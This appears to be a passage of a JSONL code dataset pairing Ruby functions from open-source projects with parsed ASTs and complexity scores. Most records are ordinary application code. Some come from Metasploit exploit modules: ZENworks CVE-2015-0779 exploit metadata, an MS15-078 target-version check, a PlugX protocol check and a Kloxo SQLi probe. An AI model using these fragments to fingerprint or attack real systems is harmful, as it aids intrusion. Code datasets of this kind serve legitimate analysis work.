<pedrib[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2015-0779\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"120382\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/fulldisclosure/2015/Apr/21\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[30]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"java\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_JAVA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Novell ZCM < v11.3.2 - Universal Java\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2015-04-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use SSL\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to ZCM / ZENworks Suite\"]},{\"type\":\"str\",\"children\":[\"/zenworks/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TOMCAT_PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Tomcat webapps traversal path (from the temp directory)\"]}]}]}]}]}]}]}","id":"04b890f5-2411-4c5c-99d9-77513fa94d27"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/active_record/chat_methods.rb","start_line":166,"raw_source":"def on_tool_call(...)\n        to_llm.on_tool_call(...)\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_tool_call\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_llm\"]},\"on_tool_call\",{\"type\":\"forwarded_args\",\"children\":[]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"67c4bf4f-64b5-4865-97f2-8bf2ee82a93b"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/stream.rb","start_line":12,"raw_source":"def initialize(event_loop, socket)\n        @event_loop    = event_loop\n        @socket_object = socket\n        @stream_send   = socket.env[\"stream.send\"]\n\n        @rack_hijack_io = nil\n        @write_lock = Mutex.new\n\n        @write_head = nil\n        @write_buffer = Queue.new\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_loop\"]},{\"type\":\"arg\",\"children\":[\"socket\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@event_loop\",{\"type\":\"lvar\",\"children\":[\"event_loop\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@socket_object\",{\"type\":\"lvar\",\"children\":[\"socket\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stream_send\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"stream.send\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@rack_hijack_io\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@write_lock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@write_head\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@write_buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queue\"]},\"new\"]}]}]}]}","id":"51578019-8dce-456c-92c9-cf28387d9568"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/generators/package_command_generator.rb","start_line":24,"raw_source":"def ipa_path\n        generator.ipa_path\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ipa_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\"]},\"ipa_path\"]}]}","id":"45f59706-404c-495a-a083-588bc69bce64"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/ms15_078_atmfd_bof.rb","start_line":288,"raw_source":"def win32k_version\n    file_path = expand_path('%windir%') << '\\\\system32\\\\win32k.sys'\n    major, minor, build, revision, branch = file_version(file_path)\n    return nil if major.nil?\n\n    ver = \"#{major}.#{minor}.#{build}.#{revision}\"\n    vprint_status(\"win32k.sys file version: #{ver} branch: #{branch}\")\n\n    ver\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"win32k_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_path\",{\"type\":\"str\",\"children\":[\"%windir%\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\\\system32\\\\win32k.sys\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"major\"]},{\"type\":\"lvasgn\",\"children\":[\"minor\"]},{\"type\":\"lvasgn\",\"children\":[\"build\"]},{\"type\":\"lvasgn\",\"children\":[\"revision\"]},{\"type\":\"lvasgn\",\"children\":[\"branch\"]}]},{\"type\":\"send\",\"children\":[null,\"file_version\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ver\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revision\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"win32k.sys file version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]}]},{\"type\":\"str\",\"children\":[\" branch: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"ver\"]}]}]}","id":"cfdc4b77-f790-4111-90df-b09065c9568b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/plugx.rb","start_line":133,"raw_source":"def check\n    connect\n    key = rand(0xFFFFFFFF)\n    hh = [key, 0, 0, 0, 0, 0].pack('I<S<S<S<S<I<')\n    hdr = xor_wrap(key, hh)\n    sock.put([key].pack('I<') + hdr[4..-1])\n    if validate_response(sock.get_once || '')\n      return Exploit::CheckCode::Appears\n    end\n\n    Exploit::CheckCode::Safe\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4294967295]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hh\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"I<S<S<S<S<I<\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hdr\",{\"type\":\"send\",\"children\":[null,\"xor_wrap\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"hh\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"I<\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hdr\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_response\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"e1676b8d-2a1f-4b75-a5ca-95123084ed13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":713,"raw_source":"def git_commit_message\n      strong_memoize(:git_commit_message) do\n        commit.try(:message)\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"git_commit_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"git_commit_message\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit\"]},\"try\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]}]}","id":"0312c295-0fea-4f5f-b4c9-832d3f022cd7"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/concerns/nearable.rb","start_line":55,"raw_source":"def extract_coordinates_and_options(*args)\n      coords = args.first\n      if !coords.is_a?(Array) || coords.length != 2\n        raise ArgumentError,\n              'First argument must be coordinates array containing exactly 2 elements [latitude, longitude]'\n      end\n\n      [coords[0], coords[1], *args[1..]].tap do |extracted|\n        # Set default values for missing options\n        extracted[2] ||= 1 if extracted.length < 3 # default radius\n        extracted[3] ||= :km if extracted.length < 4 # default unit\n      end\n    end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_coordinates_and_options\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"coords\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coords\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coords\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"First argument must be coordinates array containing exactly 2 elements [latitude, longitude]\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coords\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coords\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"extracted\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"sym\",\"children\":[\"km\"]}]},null]}]}]}]}]}","id":"e42c5ec1-e8a2-42aa-bb06-9539650fc449"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/timelines/timeline_row.rb","start_line":48,"raw_source":"def expect_hovered_labels(left:, right:)\n        hover!\n\n        unless left.nil?\n          expect(container).to have_css(\".labelHoverLeft.not-empty\", text: left)\n        end\n        unless right.nil?\n          expect(container).to have_css(\".labelHoverRight.not-empty\", text: right)\n        end\n\n        expect(container).to have_css(\".labelLeft\", visible: false)\n        expect(container).to have_css(\".labelRight\", visible: false)\n        expect(container).to have_css(\".labelFarRight\", visible: false)\n      end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_hovered_labels\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"left\"]},{\"type\":\"kwarg\",\"children\":[\"right\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hover!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".labelHoverLeft.not-empty\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"left\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".labelHoverRight.not-empty\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"right\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".labelLeft\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".labelRight\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".labelFarRight\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"719c2bfb-247f-481c-9807-18448a1bb0a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/debian/generate_distribution_key_service.rb","start_line":76,"raw_source":"def using_pinentry\n        Gitlab::Gpg.using_tmp_keychain do\n          home_dir = Gitlab::Gpg.current_home_dir\n\n          File.write(\"#{home_dir}/pinentry.sh\", pinentry_script_content, mode: 'w', perm: 0755)\n\n          File.write(\"#{home_dir}/gpg-agent.conf\", \"pinentry-program #{home_dir}/pinentry.sh\\n\", mode: 'w')\n\n          GPGME::Ctx.new(armor: true, offline: true) do |ctx|\n            yield ctx\n          end\n        end\n      end","complexity_score":12.25,"ast_json":"{\"type\":\"def\",\"children\":[\"using_pinentry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Gpg\"]},\"using_tmp_keychain\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"home_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Gpg\"]},\"current_home_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"home_dir\"]}]},{\"type\":\"str\",\"children\":[\"/pinentry.sh\"]}]},{\"type\":\"send\",\"children\":[null,\"pinentry_script_content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"perm\"]},{\"type\":\"int\",\"children\":[493]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"home_dir\"]}]},{\"type\":\"str\",\"children\":[\"/gpg-agent.conf\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pinentry-program \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"home_dir\"]}]},{\"type\":\"str\",\"children\":[\"/pinentry.sh\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"w\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GPGME\"]},\"Ctx\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"armor\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offline\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ctx\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]}]}]}]}]}]}","id":"baf5cf36-720d-476c-9550-c6d762892328"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":566,"raw_source":"def find_uploads(paths, path, value)\n    case value\n    when Rack::Test::UploadedFile\n      paths << path\n    when Hash\n      value.each do |k, v|\n        find_uploads(paths, path + [k], v)\n      end\n    when Array\n      value.each_with_index do |v, i|\n        find_uploads(paths, path + [i], v)\n      end\n    end\n  end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_uploads\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paths\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Test\"]},\"UploadedFile\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"find_uploads\",{\"type\":\"lvar\",\"children\":[\"paths\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[null,\"find_uploads\",{\"type\":\"lvar\",\"children\":[\"paths\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},null]}]}","id":"2506cf50-cc0c-4550-84de-fa5e8783f575"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/operators/less_or_equal.rb","start_line":36,"raw_source":"def self.sql_for_field(values, db_table, db_field)\n      \"#{db_table}.#{db_field} <= #{values.first.to_f}\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sql_for_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"arg\",\"children\":[\"db_table\"]},{\"type\":\"arg\",\"children\":[\"db_field\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_table\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_field\"]}]},{\"type\":\"str\",\"children\":[\" <= \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]},\"to_f\"]}]}]}]}","id":"ffee98e2-c4a0-485c-826f-3ab8cf636e4f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/kloxo_sqli.rb","start_line":193,"raw_source":"def webcommand_exists?\n    res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))\n\n    if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/\n      return true\n    end\n\n    false\n  end","complexity_score":16.65,"ast_json":"{\"type\":\"def\",\"children\":[\"webcommand_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"lbin\"]},{\"type\":\"str\",\"children\":[\"webcommand.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"__error_only_clients_and_auxiliary_allowed_to_login\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"63e97731-8b1b-49ad-863f-22f55c31cc80"}
